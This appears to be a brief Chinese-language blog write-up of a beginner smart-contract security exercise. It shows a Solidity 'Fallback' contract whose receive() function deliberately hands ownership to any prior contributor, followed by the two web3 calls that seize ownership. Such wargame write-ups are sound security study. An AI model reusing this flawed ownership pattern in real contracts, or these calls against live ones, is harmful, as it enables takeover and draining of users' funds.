SORA.SEC WIRED ARCHIVE 网络安全
238 字
1 分钟
Web3入门的合约权限提升

Web3入门

Web3入门的合约权限提升#

最近真是最艰难的时期了,

最近在学一些区块链安全,也就写一些基础审计吧

参照ERC20以及全局注入的web3 js标准接口

源码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

非常清晰,在contribution的msg贡献值需要大于0,再发一个data空包就可以接管合约了

进行2次调用,

contract.contribute({value:1})
web3.eth.sendTransaction({
to:"xxxxxxxxxxxxx",
from:player,
value:1,
data:""
})

并且在二次调用的时候,区别也只有第一次的data是函数地址的区别,结构倒是统一的

以上

Web3入门的合约权限提升
https://ymsora.com/posts/heyue1/
作者
YMsora
发布于
2026-09-17
许可协议
Unlicensed
LAST UPDATE / 最后更新